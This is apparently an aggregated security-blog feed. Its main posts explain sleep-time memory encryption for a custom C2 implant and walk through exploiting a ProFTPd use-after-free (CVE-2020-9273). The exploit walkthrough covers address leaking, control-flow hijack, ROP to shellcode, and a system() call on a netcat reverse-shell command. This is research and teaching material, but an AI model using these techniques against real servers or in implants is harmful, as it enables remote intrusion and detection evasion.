Normal view

There are new articles available, click to refresh the page.
Before yesterdayUncategorized

Erster Radio Beitrag: Gefälschte Impfausweise

By: Hansemann
28 December 2021 at 09:31
Am 02.11.2021 durfte ich einen kurzen Beitrag bei der deutschen Welle zum Thema der gefälschen Impfausweise geben. Aufgrund der Tatsache, dass sich das Thema sehr umfangreich im Osteuropäischen Raum abspielte, hatte sich ausschließlich der russsich sprachige Bereich des Senders mit dem Thema befasst. Somit seid nicht überrascht, dass Sowohl der Beitrag, als auch das Video […]

Vulnerability Wordline

By: Hansemann
21 December 2021 at 22:10
CVE pending Vulnerable Software HIDCCEMonitorSVC Version <= 5.2.4.3 Vulnerability A Unquoted service path in HIDCCEMonitorSVC software allows a local attacker to potentially escalate privileges to system level. Timeline 29.10.2021 Vendor informed 10.11.2021 Vendor confirms the vulnerability and informs HanseSecure that the vulnerability will be patched in the next version. 21.12.2020 Disclosure References: Hall of Fame […]

Top Security QuickFails: #5 Angriff der KlonAdmins aka Missing LAPS

29 November 2021 at 07:49
#5 Angriff der KlonAdmins aka Missing LAPS Der Angriff In der FaulerHund AG in München starten die Mitarbeiter in ein neues Geschäftsjahr und freuen sich auf neue Herausforderungen. So auch der Administrator Karl KannNixDafür, welcher am Donnerstag Mittag gegen 12:30 festgestellt hat, dass der Account von Ute Unbeschwert noch angemeldet ist, obwohl diese gegen 11 […]

SleepyCrypt: Encrypting a running PE image while it sleeps

10 September 2021 at 15:20

SleepyCrypt: Encrypting a running PE image while it sleeps

Introduction

In the course of building a custom C2 framework, I frequently find features from other frameworks I’d like to implement. Cobalt Strike is obviously a major source of inspiration, given its maturity and large feature set. The only downside to re-implementing features from a commercial C2 is that you have no code or visibility into how a feature is implemented. This downside is also an learning excellent opportunity.

One such feature is Beacon’s ability to encrypt its loaded image in memory while it sleeps. It does this to prevent memory scanning from identifying static data and other possible indicators within the image while Beacon is inactive. Since during sleep no code or data is used, it can be encrypted, and only decrypted and visible in memory for the shortest time necessary. Another similar idea is heap encryption, which encrypts any dynamically allocated memory during sleep. A great writeup on this topic was published recently by Waldo-IRC and is available here.

So I set out to create a proof of concept to encrypt the loaded image of a process periodically while that process is sleeping, similar to how a Beacon or implant would.

The code for this post is available here.

Starting A Process

To get an idea of the challenges we have to overcome, let’s examine how an image is situated in memory when a process is running.

During process creation, the Windows loader takes the PE file from disk and maps it into memory. The PE headers tell the loader about the number of sections the file contains, their sizes, memory protections, etc. Using this information, each section is mapped by the loader into an area of memory, and that memory is given a specific memory protection value. These values can be a combination of read, write, and execute, along with a bunch of other values that aren’t relevant for now. The various sections tend to have consistent memory protection values; for instance, the .text sections contains most of the executable code of the program, and as such needs to be read and executed, but not written to. Thus its memory is given Read eXecute protections. The .rdata section however, contains read-only data, so it is given only Read memory protection.

Section Protection

Why do we care about the memory protection of the different PE sections? Because we want to encrypt them, and to do that, we need to be able to both read and write to them. By default, most sections are not writable. So we will need to change the protections of each section to at least RW, and then change them back to their original protection values. If we don’t change them back to their proper values, the program could possibly crash or look suspicious in memory. Every single section being writable is not a common occurrence!

How Can You Run Encrypted Code?

Another challenge we need to tackle is encrypting the .text section. Since it contains all the executable code, if we encrypt it, the assembly becomes gibberish and the code can no longer run. But we need the code to run to encrypt the section. So it’s a bit of a chicken and the egg problem. Luckily there’s a simple solution: use the heap! We can allocate a buffer of memory dynamically, which will reside inside our process address space, but outside of the .text section. But how do we get our C code into that heap buffer to run when it’s always compiled into .text? One word: shellcode.

Ugh, Shellcode??

I know we all love writing complex shellcode by hand, but for this project I am going to cheat and use C to create the shellcode for me. ParanoidNinja has a fantastic blog post on exactly this subject, and I will borrow heavily from that post to create my shellcode.

But what does this shellcode need to do exactly? It has two primary functions: encrypt and decrypt the loaded image, and sleep. So we will write a small C function that takes a pointer to the base address of the loaded image and a length of time to sleep. It will change the memory protections of the sections, encrypt them, sleep for the configured time, and then decrypt everything and return.

Putting It All Together

So the final flow of our program looks like this:

- Generate the shellcode from our C program and include it as a char buffer in our main test program called `sleep.exe`
- In `sleep.exe`, we allocate heap memory for the shellcode and copy it over
- We get the base address of our image and the desired sleep time
- We use the pointer to the heap buffer as a function pointer and call the shellcode like a function, passing in a parameter
- The shellcode will run, encrypt the image, sleep, decrypt, and then return
- We're back inside the `.text` section of `sleep.exe`, so we can continue to do our thing until we want to sleep and repeat the process again

Sleep.exe

Since it’s the simplest, let’s start with a rundown of sleep.exe.

First off, we include the shellcode as a header file. This is generated from the raw binary (which we’ll cover shortly) with xxd -i shellcode.bin > shellcode.h. Then we define the struct we will use as a parameter to the shellcode function, which is called simply run. The struct contains a pointer for the image base address, a DWORD for the sleep time, and a pointer to MessageBoxA, so we can have some visible output from the shellcode. In a real implant you would probably want to omit this. Lastly we create a function pointer typedef, so we can call the shellcode buffer like a normal function.

Struct in sleep.c

Next we begin our main function. We take in a command line parameter with the sleep time, dynamically resolve MessageBoxA, get the image base address with GetModuleHandleA( NULL ), and setup the parameter struct. Then we allocate our heap buffer and copy the shellcode payload into it:

Setup in sleep.c

Finally we create a function pointer to the shellcode buffer, wait for a keypress so we have time to check things out in Process Hacker, and then we execute the shellcode. If all goes well, it will sleep for our configured time and return back to sleep.exe, popping some message boxes in the process. Then we’ll press another key to exit, showing that we do indeed have execution back in the .text section.

Run in sleep.c

C First, Then Shellcode

Now we write the C function that will end up as our position-independent shellcode. ParanoidNinja covers this pretty well in his post, so I won’t rehash it all here, but I will mention some salient points we’ll need to account for.

First, when we call functions in shellcode on x64, we need the stack to be 16 byte aligned. We borrow ParanoidNinja’s assembly snippet to do this, using it as the entry point for the shellcode, which then calls our run function, then returns to sleep.exe.

Next we need to consider calling Win32 APIs from our shellcode. We don’t have the luxury of just calling them as usual, since we don’t know their addresses and have no runtime support, so we need to resolve them ourselves. However, the usual method of calling GetProcAddress with a string of the function to resolve is tricky, as we already need to know the address of GetProcAddress to call it, and using strings in position-independent shellcode requires them to be spelled out in a char array like this: char MyFunc[] = { 'h', 'i', 0x0 };. What we can do instead is use the tried and true method of API hashing. I have borrowed a custom GetProcAddress implementation to do this from here, combining it with a slightly modified djb2 hash algorithm. Here’s how this looks for Sleep and VirtualProtect:

Function resolution in run.c

PE Parsing Fun

Now that we’re able to get the function pointers we need, it’s time to address encrypting the image. The way we’ll do this is by parsing the PE header of the loaded image, since it contains all the information we need to find each section in memory. After talking with Waldo-IRC, it turns out I could also have done with with VirtualQuery, which would make it a more generalizable process. However I did it the PE way, so that’s what I’ll cover here.

The first parameter of our argument struct to the shellcode is the base address of the loaded image in memory. This is effectively a pointer to the beginning of the MSDOS header. So we can use all the usual PE parsing techniques to find the beginning of the section headers. PE parsing can be tedious, so I won’t give a detailed play by play, just the highlights.

Once we have the address of the first section, we can get the three pieces of information we need from it. First is the actual address of the section in memory. The IMAGE_SECTION_HEADER structure contains a VirtualAddress field, which when combined with the image base address, gives us the actual address in memory of the section.

Next we need the size of that section in memory. This is stored in the VirtualSize field of the section header. However this size is not actually the real size of the section when mapped into memory. It’s the size of the actual data in the section. Since by default memory in Windows is allocated in pages of 4 kilobytes, the VirtualSize value is rounded up to the nearest multiple of 4k. The bit twiddling code to do this was taken from StackOverflow here.

The last piece of information about the section we need is the memory protection value. This is stored in the Characteristics field of the section header. This is a DWORD value that looks something like 0x40000040, with the left-most hex digit representing the read, write, or execute permission we care about. We do a little more bit twiddling to get just this value, by shifting it to the right by 28 bits. Once we get this value by itself, we save it in an array indexed by the section number so that we can reuse it later to reset the protections:

Shifting characteristics in run.c

Encryption

Now that we can find each section, know its size, and can restore its memory protections, we can finally encrypt. In the same loop where we parsed each section, we call our encryption function:

Shifting characteristics in run.c

The encryption/decryption functions take the address, size, and memory protection to apply, as well as a pointer to the address of the VirtualQuery function, so that we don’t have to resolve it each time:

Encrypt/decrypt functions in run.c

To encrypt, we change the memory protections to RW, then XOR each byte of the section. Once we have encrypted each section, we finish by encrypting the PE headers. They reside in a single 4k page starting at the base address. With that, the entire loaded image is encrypted!

Sleep and Decryption

Now that we’ve encrypted the entire image, we can sleep by calling the dynamically resolved Sleep function pointer, using the passed-in sleep duration DWORD.

Once we’ve finished sleeping, we decrypt everything. We have to make sure that we decrypt the PE headers page first, because we use it to find the addresses of all the other sections. Then we pop a message box to tell us we’re done, and return to sleep.exe!

Getting The Shellcode

ParanoidNinja covers this part in detail as well, but briefly the process is this:

- Compile the stack alignment assembly and the C code to an object file
- Link the two object files together into an EXE
- Use `objcopy` to extract just the `.text` into file
- Convert the shellcode file into a `char` array for `sleep.c`

Demo Time

To verify everything is being encrypted and decrypted properly, we can use Process Hacker to inspect the memory. Here I’ve called sleep.exe with a 5 second sleep time. The process has started, but since I haven’t pressed a key, everything is still unencrypted:

PE headers unencrypted

Here I have pressed a key and the encryption process has started. I have pressed “Re-Read” memory in Process Hacker, and you can see that the header page has been XOR encrypted:

PE headers encrypted

After the sleep is finished and decryption takes place, we get a message box telling us we’re done. Once we refresh the memory in Process Hacker, we can see we have the PE header page back again!

Demo complete

You can repeat this with each section in Process Hacker and see that they are all indeed encrypted.

Conclusion

I find it really educational to recreate Cobalt Strike features, and this one was no exception. I don’t know if this is at all close to how Cobalt Strike handles sleep obfuscation, but this does seem to be a viable method, and I will likely tweak it further and include it in my C2 framework. If you have any questions or input on this, please let me know or open an issue on Github.

Top Security QuickFails: #3 Die „unsichtbaren“ Netzwerkfreigaben

26 August 2021 at 20:16
#3 Die „unsichtbaren“ Netzwerkfreigaben Der Angriff Es ist Mittwochvormittag, die Sonne scheint und alle Mitarbeiter der ImmerGrün AG freuen sich auf das Sommerfest am Nachmittag.Beate aus der HR Abteilung wollte sich vorher noch einige Bewerbungen vom Vortag ansehen und wunderte sich noch, dass bei vielen Dokumenten plötzlich Macros zum Öffnen notwendig waren, aber das würde […]

A New Attack Surface on MS Exchange Part 3 - ProxyShell!

21 August 2021 at 16:00

This is a guest post DEVCORE collaborated with Zero Day Initiative (ZDI) and published at their blog, which describes the exploit chain we demonstrated at Pwn2Own 2021! Please visit the following link to read that :)

If you are interesting in more Exchange Server attacks, you can also check our series of articles:

With ProxyShell, an unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server through an exposed 443 port! Here is the demonstration video:

Having fun with a Use-After-Free in ProFTPd (CVE-2020-9273)

9 August 2021 at 00:00

Dear Fellowlship, today’s homily is about building a PoC for a Use-After-Free vulnerability in ProFTPd that can be triggered once authenticated and it can lead to Post-Auth Remote Code Execution. Please, take a seat and listen to the story.

Introduction

This post will analyze the vulnerability and how to exploit it bypassing all the memory exploit mitigations present by default (ASLR, PIE, NX, Full RELRO, Stack Canaries etc).

First of all I want to mention:

  • @DUKPT_ who is also working on a PoC for this vulnerability, for his approach on overwriting gid_tab->pool which is the one I decided to use on the exploit (will be explained later in this post)
  • Antonio Morales @nosoynadiemas for discovering this vulnerability, you can find more information about how he discovered it on his post Fuzzing sockets, part 1: FTP servers

Vulnerability

To trigger the vulnerability, we need to first start a new data channel transference, then interrupt through command channel while data channel is still open.

Using the data channel, we can fill heap memory to overwrite the resp_pool struct, which is session.curr_cmd_rec->pool at this time.

The result of triggering the vulnerability successfully is full control over resp_pool:

gef➤  p p
$3 = (struct pool_rec *) 0x555555708220
gef➤  p resp_pool
$4 = (pool *) 0x555555708220
gef➤  p session.curr_cmd_rec->pool
$5 = (struct pool_rec *) 0x555555708220
gef➤  p *resp_pool
$6 = {
  first = 0x4141414141414141,
  last = 0x4141414141414141,
  cleanups = 0x4141414141414141,
  sub_pools = 0x4141414141414141,
  sub_next = 0x4141414141414141,
  sub_prev = 0x4141414141414141,
  parent = 0x4141414141414141,
  free_first_avail = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
  tag = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>
}

Obviously, as there are not valid pointers in the struct, we end up on a segmentation fault on this line of code:


first_avail = blok->h.first_avail

blok, which coincides with the p->last value, is 0x4141414141414141 at that time

The ProFTPd Pool Allocator

The ProFTPd pool allocator is the same as the Apache.

Allocations here take place using palloc() and pcalloc(), which are wrapping functions for alloc_pool()

ProFTPd Pool Allocator works with blocks, which are actual glibc heap chunks.

Each block has a block_hdr header structure that defines it:


union block_hdr {
  union align a;

  /* Padding */
#if defined(_LP64) || defined(__LP64__)
  char pad[32];
#endif

  /* Actual header */
  struct {
    void *endp;
    union block_hdr *next;
    void *first_avail;
  } h;
};

  • blok->h.endp points to the end of current block
  • blok->h.next points to the next block in a linked list
  • blok->h.first_avail points to the first available memory within this block

This is the alloc_pool() code:


static void *alloc_pool(struct pool_rec *p, size_t reqsz, int exact) {

  size_t nclicks = 1 + ((reqsz - 1) / CLICK_SZ);
  size_t sz = nclicks * CLICK_SZ;
  union block_hdr *blok;
  char *first_avail, *new_first_avail;

  blok = p->last;
  if (blok == NULL) {
    errno = EINVAL;
    return NULL;
  }

  first_avail = blok->h.first_avail;

  if (reqsz == 0) {
    errno = EINVAL;
    return NULL;
  }

  new_first_avail = first_avail + sz;

  if (new_first_avail <= (char *) blok->h.endp) {
    blok->h.first_avail = new_first_avail;
    return (void *) first_avail;
  }

  pr_alarms_block();

  blok = new_block(sz, exact);
  p->last->h.next = blok;
  p->last = blok;

  first_avail = blok->h.first_avail;
  blok->h.first_avail = sz + (char *) blok->h.first_avail;

  pr_alarms_unblock();
  return (void *) first_avail;
}

As we can see, it first tries to use memory within the same block, if no space, is allocates a new block with new_block() and updates the pool last block on p->last.

Pool headers, defined by pool_rec structure, are stored right after the first block created for that pool, as we can see on make_sub_pool() which creates a new pool:


struct pool_rec *make_sub_pool(struct pool_rec *p) {
  union block_hdr *blok;
  pool *new_pool;

  pr_alarms_block();

  blok = new_block(0, FALSE);

  new_pool = (pool *) blok->h.first_avail;
  blok->h.first_avail = POOL_HDR_BYTES + (char *) blok->h.first_avail;

  memset(new_pool, 0, sizeof(struct pool_rec));
  new_pool->free_first_avail = blok->h.first_avail;
  new_pool->first = new_pool->last = blok;

  if (p) {
    new_pool->parent = p;
    new_pool->sub_next = p->sub_pools;

    if (new_pool->sub_next)
      new_pool->sub_next->sub_prev = new_pool;

    p->sub_pools = new_pool;
  }

  pr_alarms_unblock();

  return new_pool;
}

Actually, make_sub_pool() is responsible for creating the permanent pool aswell, which has no parent. p will be NULL when doing it.

Looking at make_sub_pool() code, you can realize that it gets a new block, and just after the block_hdr headers, pool_rec headers are entered and blok->h.first_avail is updated to point right after it.

Then, entries of the new created pool are initialized.

The p->cleanups entry is a pointer to a cleanup_t struct:


typedef struct cleanup {
  void *data;
  void (*plain_cleanup_cb)(void *);
  void (*child_cleanup_cb)(void *);
  struct cleanup *next;

} cleanup_t;

Cleanups are interpreted by the function run_cleanups() and registered with the function register_cleanup()

A chain of blocks can be freed using free_blocks():


static void free_blocks(union block_hdr *blok, const char *pool_tag) {

  union block_hdr *old_free_list = block_freelist;

  if (!blok)
    return;

  block_freelist = blok;

  while (blok->h.next) {
    chk_on_blk_list(blok, old_free_list, pool_tag);
    blok->h.first_avail = (char *) (blok + 1);
    blok = blok->h.next;
  }

  chk_on_blk_list(blok, old_free_list, pool_tag);
  blok->h.first_avail = (char *) (blok + 1);
  blok->h.next = old_free_list;
}

Exploitation Analysis

We have control over a really interesting pool_rec struct, now we might need to search for primitives that allow us to get something useful from this vulnerability, like obtaining Remote Code Execution.

Leaking memory addresses

Obviously to exploit this vulnerability predictable memory addresses is a requirement before using primitives, as in this case, the exploitation consists on playing with pointers, structs and memory writes.

Leaking memory addresses on this situation is really hard, as we are on a cleanup/session finishing process and to trigger the vulnerability we actually need to generate an interruption.

I first thought about reading /proc/self/maps file, which can be read by any process, even with low privileges.

Perhaps in theory it would work, unfortunately ProFTPd uses stat syscall to retrieve file size, as stat over pseudo-files like maps returns zero, this breaks transfer, and 0 bytes are returned back to client on data channel.

Thinking on additional ways to do it, I realized about mod_copy, which is a module in ProFTPd that allows you to copy files within the server.

We can use mod_copy to copy the file from /proc/self/maps to /tmp, and once there, we perform a normal transfer over the file at /tmp which is not a pseudo-file now, so /proc/self/maps content will be returned to attacker.

This leak is really interesting as it gives you addresses for every segment, and even the filename of the shared libraries, which sometimes contain versions like libc-2.31.so, and this is really interesting for exploit reliability, we could use offsets for specific libc versions.

Hijacking the control-flow

We have to transform our control over session.curr_cmd_rec->pool into any write primitive allowing us to reach run_cleanups() somehow with an arbitrary cleanup_t struct.

Looking for struct entry writes, there was nothing useful that would allow us direct write-what-where primitives (would be a lot easier this way).

Instead, the only way we can use to write something on arbitrary addresses is to use make_sub_pool() (at pool.c:415), which is called with cmd->pool as argument at some point:


struct pool_rec *make_sub_pool(struct pool_rec *p) {
  union block_hdr *blok;
  pool *new_pool;

  pr_alarms_block();

  blok = new_block(0, FALSE);

  new_pool = (pool *) blok->h.first_avail;
  blok->h.first_avail = POOL_HDR_BYTES + (char *) blok->h.first_avail;

  memset(new_pool, 0, sizeof(struct pool_rec));
  new_pool->free_first_avail = blok->h.first_avail;
  new_pool->first = new_pool->last = blok;

  if (p) {
    new_pool->parent = p;
    new_pool->sub_next = p->sub_pools;

    if (new_pool->sub_next)
      new_pool->sub_next->sub_prev = new_pool;

    p->sub_pools = new_pool;
  }

  pr_alarms_unblock();

  return new_pool;
}

This function is called at main.c:287 from _dispatch() function with our controlled pool as argument:


...

      if (cmd->tmp_pool == NULL) {
        cmd->tmp_pool = make_sub_pool(cmd->pool);
        pr_pool_tag(cmd->tmp_pool, "cmd_rec tmp pool");
      }
      
...

As you can see new_pool->sub_next has now the value of p->sub_pools, which is controlled, then we enter on new_pool->sub_next->sub_prev the new_pool pointer.

This means, we can write to any arbitrary address the value of new_pool, which apparently, appears not to be so useful at all, as the only relationship we have with this newly created pool cmd->tmp_pool is that cmd->tmp_pool->parent is equal to resp_pool as we are the parent pool for it.

Also the only value we control is the new_pool->sub_next, which we actually use for the write primitive.

What more interesting primitives do we have?

On a previous section we explained how the ProFTPd pool allocator works, when a new pool is created, p->first and p->last point to blocks used for the pool, we are interested in the p->last as it is the block that is actually used, as we can see on alloc_pool() at pool.c:570:

...

  blok = p->last;
  if (blok == NULL) {
    errno = EINVAL;
    return NULL;
  }

  first_avail = blok->h.first_avail;
  
...

first_avail is the pointer to the limit between used data and available free space, which is where we will start to allocate memory.

Our pool is passed to pstrdup() multiple times for string allocation:


char *pstrdup(pool *p, const char *str) {
  char *res;
  size_t len;

  if (p == NULL ||
      str == NULL) {
    errno = EINVAL;
    return NULL;
  }

  len = strlen(str) + 1;

  res = palloc(p, len);
  if (res != NULL) {
    sstrncpy(res, str, len);
  }

  return res;
}

This function calls palloc() which ends up calling alloc_pool()

The allocations are mostly non-controllable strings, which seem not useful to us, except from one allocation at cmd.c:373 on function pr_cmd_get_displayable_str():

...

  if (pr_table_add(cmd->notes, pstrdup(cmd->pool, "displayable-str"),
      pstrdup(cmd->pool, res), 0) < 0) {
    if (errno != EEXIST) {
      pr_trace_msg(trace_channel, 4,
        "error setting 'displayable-str' command note: %s", strerror(errno));
    }
  }
  
...

As you can see, cmd->pool (our controlled pool) is passed to pstrdup(), and as seen at cmd.c:363:


...

  if (argc > 0) {
    register unsigned int i;

    res = pstrcat(p, res, pr_fs_decode_path(p, argv[0]), NULL);

    for (i = 1; i < argc; i++) {
      res = pstrcat(p, res, " ", pr_fs_decode_path(p, argv[i]), NULL);
    }
  }

... 
 

res points to our last command sent


...

  if (pr_table_add(cmd->notes, pstrdup(cmd->pool, "displayable-str"),
      pstrdup(cmd->pool, res), 0) < 0) {
    if (errno != EEXIST) {
      pr_trace_msg(trace_channel, 4,
        "error setting 'displayable-str' command note: %s", strerror(errno));
    }
  }
  
...

This means if we send arbitrary data instead of a command, we could enter custom data on pool block space, and as we can corrupt p->last we can make blok->h.first_avail point to any address we want, and this means we can overwrite through a command any data.

Unfortunately, it is not like our corruption from data channel, as here our commands are treated as strings, and not binary data as the data channel does.

This means we are very limited on overwriting structs or any useful data.

Also, some allocations happen before, and the heap from the intial value of blok->h.first_avail to that value when pstrdup()‘ing our command will be full of strings, and non valid pointers which could likely end up on a crash before reaching run_cleanups().

Initially, I decided to use blok->h.first_avail to overwrite cmd->tmp_pool entries with arbitrary data.

This pool is freed with destroy_pool() at main.c:409 on function _dispatch():


...

      destroy_pool(cmd->tmp_pool);
      cmd->tmp_pool = NULL;
      
...

This means if we control the cmd->tmp_pool->cleanups value when reaching clear_pool() we would have the ability to control RIP and RDI once run_cleanups() is called:


void destroy_pool(pool *p) {
  if (p == NULL) {
    return;
  }

  pr_alarms_block();

  if (p->parent) {
    if (p->parent->sub_pools == p) {
      p->parent->sub_pools = p->sub_next;
    }

    if (p->sub_prev) {
      p->sub_prev->sub_next = p->sub_next;
    }

    if (p->sub_next) {
      
      p->sub_next->sub_prev = p->sub_prev;
    }
  }

  clear_pool(p);
  free_blocks(p->first, p->tag);

  pr_alarms_unblock();
  
}

As you can see clear_pool() is called, but after accessing some of the entries of the pool, which must be either NULL or a valid writable address.

Once clear_pool() is called:


static void clear_pool(struct pool_rec *p) {

  /* Sanity check. */
  if (p == NULL) {
    return;
  }

  pr_alarms_block();

  run_cleanups(p->cleanups);
  p->cleanups = NULL;

  while (p->sub_pools) {
    destroy_pool(p->sub_pools);
  }

  p->sub_pools = NULL;

  free_blocks(p->first->h.next, p->tag);
  p->first->h.next = NULL;

  p->last = p->first;
  p->first->h.first_avail = p->free_first_avail;

  pr_alarms_unblock();
}

We can see that run_cleanups() is called directly without more checks / memory writes.

When calling function run_cleanups():


static void run_cleanups(cleanup_t *c) {
  while (c) {
    if (c->plain_cleanup_cb) {
      (*c->plain_cleanup_cb)(c->data);
    }

    c = c->next;
  }
}

Looking at cleanup_t struct:


typedef struct cleanup {
  void *data;
  void (*plain_cleanup_cb)(void *);
  void (*child_cleanup_cb)(void *);
  struct cleanup *next;

} cleanup_t;

We can control RIP with c->plain_cleanup_cb and RDI with c->data

Unfortunately, corrupting cmd->tmp_pool is difficult, as a string displayable-str is appended right after our controllable data, and right after our p->cleanup entry there are some entries that are accessed on destroy_pool() before reaching run_cleanups().

@DUKPT_ who is also working on a PoC for this vulnerability was overwriting gid_tab->pool. Which is a more reliable technique as there are no pointers after our controllable data, so when displayable-str is appended, nothing serious will be broken, and also, here, instead of corrupting a pool_rec structure, we corrupt a pr_table_t structure, so we can point gid_tab->pool to memory corrupted from the data channel, which also accepts NULLs and we can craft a fake pool_rec structure with an arbitrary p->cleanup value to a fake cleanup_t struct which will be finally passed to run_cleanups().

The interesting use of gid_tab is also that gid_tab->pool is passed to destroy_pool() on pr_table_free() with argument gid_tab:


int pr_table_free(pr_table_t *tab) {

  if (tab == NULL) {
    errno = EINVAL;
    return -1;
  }

  if (tab->nents != 0) {
    errno = EPERM;
    return -1;
  }

  destroy_pool(tab->pool);
  return 0;
}

This is how pr_table_t looks like:


struct table_rec {
  pool *pool;
  unsigned long flags;
  unsigned int seed;
  unsigned int nmaxents;
  pr_table_entry_t **chains;
  unsigned int nchains;
  unsigned int nents;
  pr_table_entry_t *free_ents;
  pr_table_key_t *free_keys;
  pr_table_entry_t *tab_iter_ent;
  pr_table_entry_t *val_iter_ent;
  pr_table_entry_t *cache_ent;
  int (*keycmp)(const void *, size_t, const void *, size_t);
  unsigned int (*keyhash)(const void *, size_t);
  void (*entinsert)(pr_table_entry_t **, pr_table_entry_t *);
  void (*entremove)(pr_table_entry_t **, pr_table_entry_t *);
};

...

typedef struct table_rec pr_table_t;

As you can see after tab->pool (tab->flags, tab->seed and tab->nmaxents) there are no pointers so the string appended will not trigger crashes

So, what is the plan?

1) Craft a fake block_hdr structure that will be pointed to by p->last

2) Enter on fake_blok->h.first_avail a pointer to gid_tab minus some offset, where offset is depending on the number of allocations and their size, so when pstrdup() copies our arbitrary command, fake_blok->h.first_avail value is exactly the address of gid_tab to fit our address

3) Enter on p->sub_next the address of tab->chains so when pr_table_kget() is called, NULL is returned to make our arbitrary command being allocated.

4) Send a custom command with a fake pr_table_t, actually, just the tab->pool is needed, and point fake_tab->pool to a fake pool_rec struct

5) Craft the fake pool_rec struct, point fake_pool->parent, fake_pool->sub_next and fake_pool->sub_prev to any writable address, and fake_pool->cleanup to a fake cleanup_t struct containing our arbitrary RIP and RDI values

This is the result of exploiting the hijack technique:

*0x4242424242424242 (
   $rdi = 0x4141414141414141,
   $rsi = 0x0000000000000000,
   $rdx = 0x4242424242424242,
   $rcx = 0x0000555555579c00 → <entry_remove+0> endbr64 
)

As you can see c->plain_cleanup_cb has value 0x4242424242424242, and c->data has value 0x4141414141414141.

Which means RIP and RDI are fully controlled.

Getting RCE

As explained, our main target is reaching run_cleanups() function with an arbitrary address, or with a non-arbitrary address but controlling it’s content. This allow us to obtain full RIP and RDI control, which taking into account that we already have predictable addresses for every segment, means a Remote Code Execution is likely to be possible.

Some ways to obtain Remote Code Execution:

Stack pivot, ROP and shellcode execution

As we control both RIP and RDI, we could search for useful gadgets that would allow us to redirect control-flow using a ROPchain to bypass NX.

When reaching run_cleanups()

gef➤  p *c
$7 = {
  data = 0x563593915280,
  plain_cleanup_cb = 0x7f875ab201a1 <authnone_marshal+17>,
  child_cleanup_cb = 0x4141414141414141,
  next = 0x4242424242424242
}
gef➤  x/2i c->plain_cleanup_cb
   0x7f875ab201a1 <authnone_marshal+17>:	push   rdi
   0x7f875ab201a2 <authnone_marshal+18>:	pop    rsp
gef➤  

When entering on the stack pivot gadget:

 → 0x7f875ab201a1 <authnone_marshal+17> push   rdi
   0x7f875ab201a2 <authnone_marshal+18> pop    rsp
   0x7f875ab201a3 <authnone_marshal+19> lea    rsi, [rdi+0x48]
   0x7f875ab201a7 <authnone_marshal+23> mov    rdi, r8
   0x7f875ab201aa <authnone_marshal+26> mov    rax, QWORD PTR [rax+0x18]
   0x7f875ab201ae <authnone_marshal+30> jmp    rax

We crafted previously our resp_pool struct to point rax to the address where an address pointing near a ret instruction is stored. So when:

mov    rax, QWORD PTR [rax+0x18]

is executed, we get in rax the address, which will be used just on next instruction: jmp rax.

As it is near a ret instruction, we will finally execute our ROPchain as we pointed rsp right before our ROPchain, and a ret instruction just got executed.

gef➤  p $rax
$5 = 0x563593915358
gef➤  x/gx $rax + 0x18
0x563593915370:	0x00007f875a9fc679
gef➤  x/i 0x00007f875a9fc679
   0x7f875a9fc679 <__libgcc_s_init+61>:	ret 

At the time of jmp rax:

   0x7f875ab201a3 <authnone_marshal+19> lea    rsi, [rdi+0x48]
   0x7f875ab201a7 <authnone_marshal+23> mov    rdi, r8
   0x7f875ab201aa <authnone_marshal+26> mov    rax, QWORD PTR [rax+0x18]
 → 0x7f875ab201ae <authnone_marshal+30> jmp    rax
   0x7f875ab201b0 <authnone_marshal+32> xor    eax, eax
   0x7f875ab201b2 <authnone_marshal+34> ret    

--------------------------------------------------------------

gef➤  p $rax
$6 = 0x7f875a9fc679
gef➤  x/i $rax
   0x7f875a9fc679 <__libgcc_s_init+61>:	ret 

And we can see stack was pivoted successfully:

gef➤  p $rsp
$7 = (void *) 0x563593915358
gef➤  x/gx 0x563593915358
0x563593915358:	0x00007f875aa21550
gef➤  x/i 0x00007f875aa21550
   0x7f875aa21550 <mblen+112>:	pop    rax

ROPchain will setup a syscall call to SYS_mprotect, which will change memory protection for a heap range to RXW. Then, we will jump into the shellcode, thus finally achieving Remote Code Execution

If we check the mappings with gdb we can see that part of the heap is now RWX, which is actually where the shellcode resides:

0x0000563593889000 0x00005635938cb000 0x0000000000000000 rw- [heap]
0x00005635938cb000 0x0000563593915000 0x0000000000000000 rw- [heap]
0x0000563593915000 0x0000563593916000 0x0000000000000000 rwx [heap]
0x0000563593916000 0x000056359394e000 0x0000000000000000 rw- [heap]

Now we are jumping to shellcode, as it now resides on executable memory, so Remote Code Execution succeed:

   0x7f875aa3d229 <funlockfile+73> syscall 
 → 0x7f875aa3d22b <funlockfile+75> ret    
   ↳  0x563593915310                  push   0x29
      0x563593915312                  pop    rax
      0x563593915313                  push   0x2
      0x563593915315                  pop    rdi
      0x563593915316                  push   0x1
      0x563593915318                  pop    rsi

Chaining all this together into an exploit, this is an screenshot of the successful exploitation of this vulnerability using the ROP approach:

Demo

ret2libc or ret2X

You can jump to any function and control one argument, this means you can call any function with an arbitrary argument. You can reuse register values for other arguments aswell, but you rely on current registers to be valid for target function, eg.: an invalid pointer would trigger a crash

The approach I followed with this method is calling system() and pointing RDI to a custom command string (netcat reverse shell) I leave in heap with a predictable address.

First we reach destroy_pool() with the fake pool_rec struct, actually we reuse entries from our initially controlled struct:

gef➤  p *p
$1 = {
  first = 0x563f5c9c6280,
  last = 0x7361626174614472,
  cleanups = 0x563f5c9a62d0,
  sub_pools = 0x563f5c9a6298,
  sub_next = 0x563f5c9a62a0,
  sub_prev = 0x563f5c9a0a90,
  parent = 0x563f5c94a738,
  free_first_avail = 0x563f5c94a7e0 "\260\251\224\\?V",
  tag = 0x563f5c9a526e ""
}
gef➤  p *resp_pool
$2 = {
  first = 0x563f5c9a62d0,
  last = 0x563f5c9a6298,
  cleanups = 0x563f5c9a62a0,
  sub_pools = 0x563f5c9a0a90,
  sub_next = 0x563f5c94a738,
  sub_prev = 0x563f5c94a7e0,
  parent = 0x563f5c9a526e,
  free_first_avail = 0x563f5c9a526e "",
  tag = 0x563f5c9a526e ""
}

Then, destroy_pool() is going to call clear_pool(), which finally ends up calling run_cleanups() with our fake cleanup_t struct, pointed to by p->cleanups:

gef➤  p *c
$3 = {
  data = 0x563f5c9a62f0,
  plain_cleanup_cb = 0x7fca503f1410 <__libc_system>,
  child_cleanup_cb = 0x4141414141414141,
  next = 0x4242424242424242
}
gef➤  x/s c->data
0x563f5c9a62f0:	"nc -e/bin/bash 127.0.0.1 4444"

As we can see c->plain_cleanup_cb (future RIP) points to __libc_system(), and c->data points to our command string stored on heap

